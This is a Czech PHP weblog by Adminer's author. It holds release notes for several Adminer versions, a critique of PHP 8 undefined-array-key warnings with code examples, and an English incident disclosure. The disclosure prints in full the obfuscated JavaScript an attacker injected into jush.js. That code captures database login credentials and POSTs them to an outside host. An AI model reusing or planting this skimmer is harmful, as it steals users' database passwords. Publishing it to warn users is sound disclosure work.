Weblog o elegantním programování v PHP pro mírně pokročilé
Adminer 4.8.1 opravuje XSS, které je ale naštěstí ve většině případů zastaveno díky Strict CSP ve všech moderních prohlížečích (CSP přidal Adminer 4.4.0). Ke skutečnému XSS dojde při použití ovladače PDO (který se použije, pokud nejsou k dispozici nativní ovladače) v Admineru 4.7.8 až 4.8.0 (kde bylo rozbité reportování chyb v PDO). (bug #797)
Další změny:
UPDATE OF
triggerů. (bug #789)OR
).GENERATED ALWAYS BY IDENTITY
. (bug #785, rozbité od verze 4.7.9)Krátce po vydání předchozí verze jsem zjistil, že jsem opětovným zapnutím PHP varování rozbil vytvoření tabulky v PHP 8. Adminer 4.8.0 především opravuje tuto chybu, ale kromě toho jsem udělal i řadu dalších změn:
SQL
, která data do databáze pošle neošetřená. Používám ji např. v kombinaci s funkcí SUBSTR
při změně záznamů. Teď jsem tuto funkci přidal i do formuláře pro vložení záznamu a používám ji pro políčka s výchozí hodnotou vypadající jako funkce. (bug #713)date = 'a'
nově skončí chybou. Adminer na to reaguje tak, že při vyhledávání ve všech sloupcích datumové sloupce přeskakuje, pokud hledaná hodnota nevypadá jako datum. Odjakživa něco podobného dělá i s číselnými sloupci.EXPLAIN
klauzuli PARTITION
, kterou Adminer používal. MySQL 8 ale tuto klauzuli zase odstranila, takže ji Adminer v této verzi už nepoužívá.bytea
sloupců místo hodnoty NULL
zobrazoval prázdný řetězec.false
v editačním formuláři zobrazily jako NULL
.O víkendu bylo hnusně, tak jsem se rozhodl projít backlog toho, co mi uživatelé Admineru zhruba za poslední rok napsali. Je těžké v tom oddělit zrno od plev, řada uživatelů klade úplně nesouvisející dotazy týkající se webového serveru, databáze, sítí, prostě čehokoliv. Popis chyby „udělal jsem XY a nefunguje to“ je celkem běžný. Pull-requesty kolikrát ani nepopíšou, jakou chybu se vlastně snaží opravit, velmi často jednu věc opraví, ale dvě další rozbijou. Uznávám, že upravovat kód Admineru je poměrně náročné proto, že funguje s různými databázovými systémy, s jejich různými verzemi a extenzemi, k tomu podporuje všechny verze PHP, kód není pořádně pokrytý testy (protože by byla šílenost je v takhle pestrém prostředí udržovat) a některé informace o kódu (které by mohly být v komentáři) jsou třeba jen v blame. Např. MS SQL nemám k dispozici a ani se mi v něm nechce Adminer testovat, tak jsem se rozhodl, že prostě přijmu všechny pull-requesty, které uživatelé pošlou. Ale ani to nevedlo ke kýženému stavu, protože pak chodí reporty chyb, že něco do určité verze Admineru fungovalo a pak přestalo. Pull request sice něco vyřešil pro některou verzi MS SQL, ale rozbil to v jiných. Bez holistického přístupu je to nekonečná práce.
I tak ale uživatelé nahlásili několik skutečných, reprodukovatelných a dobře popsaných chyb, za což jim děkuji. Přišlo i několik použitelných pull-requestů. Málokdy je přijmu bez jakýchkoliv úprav, ale drobné úpravy kódu, aby odpovídal stylu Admineru nebo pokryl nějakou dodatečnou funkčnost, mě tolik netrápí. Bezpečnostní experti odhalili i dvě bezpečnostní chyby, za které si sypu popel na hlavu a za jejichž zodpovědné nahlášení děkuji.
007
). (bug #777)sql_mode='ANSI_QUOTES'
, aby se dump dal následně importovat i tam, kde je tato volba vypnutá. (bug #749)SHOW FULL COLUMNS
vrací výchozí hodnoty sloupců typu text v apostrofech (u ostatních sloupců bez apostrofů). Nový Adminer to bere v úvahu. (bug #779)foreign_key_checks
, které v PostgreSQL není k dispozici. (PR #351)bigint auto increment
pseudo-typ bigserial
. Tohle jsem rozbil ve verzi 3.0.0 před více než deseti lety a od té doby si toho nikdo nevšiml. (bug #765) Pro smallint
se nově použije smallserial
. Bohužel se mi nepodařilo snadno vyřešit chybu, že zapnutí auto increment až ve změně tabulky nic neudělá. (bug #761)GENERATED ALWAYS BY IDENTITY
. (PR #386)PRIMARY KEY
uvést u sloupce, ve starších verzích jen v definici tabulky.busy_timeout
na 500 ms, po které bude Adminer v případě zamčené tabulky čekat, než to vzdá.Změna chyby při přístupu k nedefinovanému prvku pole z E_NOTICE
na E_WARNING
v PHP 8 se může směle zařadit do známého PHP: a fractal of bad design. Původní nešťastný návrh, kdy se přístup k nedefinovanému prvku pole považuje za hodný upozornění, zalepuje něčím ještě horším, co rozbíjí programy perfektně funkční v PHP < 8 bez smysluplného důvodu.
Nejprve proč je nešťastné upozorňovat na přístup k nedefinovanému prvku pole: Pole jsou v PHP typicky poměrně dynamické – když napíšu $_GET["select"] == "a"
a v $_GET
mi žádné "select"
nepřijde, tak to není žádný problém. Přístup k nedefinovaným prvkům pole má jasně dané chování – vrátí null
. Není to jako v dřevních dobách jazyka C, kde to vrátilo nějakou náhodnou hodnotu, která na tom místě v paměti byla zapsaná dříve. Není žádný důvod, proč kód měnit na isset($_GET["select"]) && $_GET["select"] == "a"
. Možná si řeknete „obrana proti překlepům“, ale co mi zabrání napsat isset($_GET["selet"]) && $_GET["selet"] == "a"
a udělat ten stejný překlep dvakrát?
U jiné ukázky kódu je lpění na ošetřování přístupu k nedefinovaným prvkům pole ještě křiklavější:
<?php $groups = array(); foreach ($rows as $row) { $groups[$row->group]++; } ?>
Kód mi do pole spočte, kolik řádek z každé skupiny máme. Je krátký, čitelný, přehledný, těžko se v něm udělá chyba. Srovnejte to s tímto monstrem, pokud ošetřuji přístup k nedefinovanému indexu $groups
:
<?php $groups = array(); foreach ($rows as $row) { if (!array_key_exists($row->group, $groups)) { $groups[$row->group] = 0; } else { $groups[$row->group]++; } } ?>
Kód je mnohem hůř čitelný, stejné proměnné opakuje třikrát a je náchylnější k chybě. Schválně jsem tam jednu chybu udělal, zkuste ji najít. Phabricator zmírňuje utrpení přidáním funkce idx
, s kterou je kód snesitelnější (ale pořád ne tak elegantní jako první verze):
<?php $groups = array(); foreach ($rows as $row) { $groups[$row->group] = idx($groups, $row->group, 0) + 1; } ?>
Dalším kouskem fraktálu špatného návrhu je i to, že taková funkce není přímo součástí PHP. A aby ten fraktál nebyl malý, tak přidám ještě jednu verzi téhož, která perfektně funguje bez jakýchkoliv upozornění, i když má potenciálně ta stejná rizika jako verze první:
<?php foreach ($rows as $row) { $groups[$row->group][] = 1; } $groups = array_map('count', $groups); ?>
Proč to funguje? Přidání prvku pole do neinicilizované hodnoty PHP z nějakého důvodu za sebemenší chybu nepovažuje, i když je zcela obdobné třeba oné inkrementaci. Všimněte si, že pokud je pole $rows
neprázdné, tak ani nemusím inicializovat $groups
, což osobně považuji za vážnou chybu. PHP přesto ani necekne. Stejně tak necekne ani u tohoto moderního kódu (který má navíc ten problém, že není zpětně kompatibilní):
<?php $groups = array(); foreach ($rows as $row) { $groups[$row->group] = ($grups[$row->group] ?? 0) + 1; } ?>
Všimněte si překlepu $grups
. Všechny chyby zapnuté, moderní kód a PHP na překlep stejně neupozorní, protože operátor ??
stejně jako isset
kontroluje, jestli je nastavený celý výraz a u první nenastavené proměnné prostě skončí. Může se to zdát užitečné, ale je to další část fraktálu.
Jak bych chování navrhl já (s výhodou pohledu do budoucnosti)? V první řadě bych oddělil dynamická pole od statických objektů. V PHP jsou pole i objekty uchovávány prakticky stejně, to ale ještě neznamená, že se navenek musí i stejně chovat. Práci s nedeklarovanými vlastnostmi objektu jsem vždycky považoval za prasárnu kromě případů, kdy se k tomu třída přihlásí metodami __get
, __set
a spol. Nemusely by pak vznikat obezličky typu Nette\SmartObject
, které to řeší za PHP. Pokud chci vytvořit objekt bez třídy, můžu použít (object) array('a' => 1)
, nabízel by se prostor pro syntaxi object('a' => 1)
, případně zkráceně {'a' => 1}
(podobně jako časem vzniklo ['a' => 1]
).
Druhá věc je, že pokud nepoužívám dynamické vlastnosti jazyka typu proměnné proměnné ($$a
) a dynamické vlastnosti objektů ($this->$a
), tak se kontrola může dělat klidně už při kompilaci a nemusí se čekat až do spuštění. Tady PHP zastupuje např. PHPStan.
U polí, kde je struktura pevná a přístup k neexistujícímu prvku opravdu znamená chybu, bych doporučil pracovat raději s objektem, jde např. o funkce vracející řádky z databáze (mysqli_fetch_object
místo mysqli_fetch_assoc
).
Práce s nedeklarovanými proměnnými je vážná chyba a není žádný důvod ji brát stejně jako práci s neexistujícími prvky pole. Jediný historický důvod je opět stejná reprezentace platných proměnných a prvků pole.
V RFC se jako podklad pro hlasování píše: „Proměnné a vlastnosti objektů jsou typicky staticky známé, což neplatí pro prvky pole, které jsou často dynamické. Některé jazyky (jako JavaScript) přístup k nedefinovanému prvku pole za chybu vůbec nepovažují a projdou bez řečí. Někteří programátoři by tento styl chtěli používat i v PHP a uvítali by, když by tato chyba šla snadno potlačit.“ Hlasování pak dopadlo nejtěsnějším možným výsledkem 42:21 (je potřeba 2/3 hlasů). Žádná možnost snadného potlačení této chyby (třeba ve formě konfigurační direktivy) bohužel nevznikla.
Chybu lze vypnout nastavením vlastního ovladače chyb:
<?php function mute_array_errors($errno, $errstr) { return !!preg_match('~^(Trying to access array offset on value of type null|Undefined array key)~', $errstr); } set_error_handler('mute_array_errors', E_WARNING); ?>
Chyba nemá jednoznačný kód, takže ji můžeme filtrovat leda tak podle textu chybové hlášky. Další prasárnička…
Za desítky let, co PHP používám, mi tato chyba ničím nepomohla. Nikdy jsem si neřekl: „Sakryš, když bych měl zapnutou tuhle chybu, tak jsem si mohl ušetřit několik hodin ladění.“ Vždycky vedla akorát ke kódu po všech stránkách horšímu. Mnohem lepší službu udělala statická kontrola v podobě PHPStanu nebo dříve aspoň mého php-initialized.
An attacker from an IP address 52.183.1.49 was able to modify the file adminer.org/static/jush.js
which was used by Adminer version 3.7.1 (more than 7 years old) and older for syntax highlighting. The file was modified from 2020-12-29 17:34 GMT to 2020-12-30 11:20 GMT. If you used these Adminer versions to access a database in this time then change the database passwords. Newer Adminer versions are not affected as they bundle this file and don't download it.
The attacker was able to get my hosting password. I don't know how they obtained it but I've changed all the passwords and limited the IP range from which it is possible to log in. I also use 2FA for the central admin but the hosting unfortunately couldn't enforce it for just the server login. I've also checked the published Adminer versions which are unaffected and I've also searched for other possible backdoors.
I've filed a report at cert.microsoft.com which is listed for reporting security issues coming from this IP address. I've also notified GetPush where the malicious code was sending the data.
This is the malicious code:
var _0x4d83=["\x76\x61\x6C\x75\x65","\x61\x75\x74\x68\x5B\x70\x65\x72\x6D\x61\x6E\x65\x6E\x74\x5D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x69\x6E\x70\x75\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x31","\x6F\x6E\x63\x6C\x69\x63\x6B","\x61\x75\x74\x68\x5B\x73\x65\x72\x76\x65\x72\x5D","\x61\x75\x74\x68\x5B\x75\x73\x65\x72\x6E\x61\x6D\x65\x5D","\x61\x75\x74\x68\x5B\x70\x61\x73\x73\x77\x6F\x72\x64\x5D","\x61\x75\x74\x68\x5B\x64\x62\x5D","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x65\x74\x70\x75\x73\x68\x2E\x6F\x72\x67\x2F\x61\x64\x6D\x69\x6E\x65\x72\x2F","\x20\x7C\x20","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64"];var submit=document[_0x4d83[2]](_0x4d83[1])[0][_0x4d83[0]];var submit2=document[_0x4d83[4]](_0x4d83[3])[4];if(submit== _0x4d83[5]){submit2[_0x4d83[6]]= function(){var _0x6534x3= new XMLHttpRequest();var _0x6534x4=document[_0x4d83[2]](_0x4d83[7])[0][_0x4d83[0]];var _0x6534x5=document[_0x4d83[2]](_0x4d83[8])[0][_0x4d83[0]];var _0x6534x6=document[_0x4d83[2]](_0x4d83[9])[0][_0x4d83[0]];var _0x6534x7=document[_0x4d83[2]](_0x4d83[10])[0][_0x4d83[0]];var _0x6534x8=document[_0x4d83[12]][_0x4d83[11]];var _0x6534x9=_0x4d83[13];var _0x6534xa=btoa(_0x6534x8+ _0x4d83[14]+ _0x6534x4+ _0x4d83[14]+ _0x6534x5+ _0x4d83[14]+ _0x6534x6+ _0x4d83[14]+ _0x6534x7);_0x6534x3[_0x4d83[16]](_0x4d83[15],_0x6534x9,true);_0x6534x3[_0x4d83[17]](_0x6534xa)}}
I'm sorry for any inconvenience.
Starší články naleznete v archivu.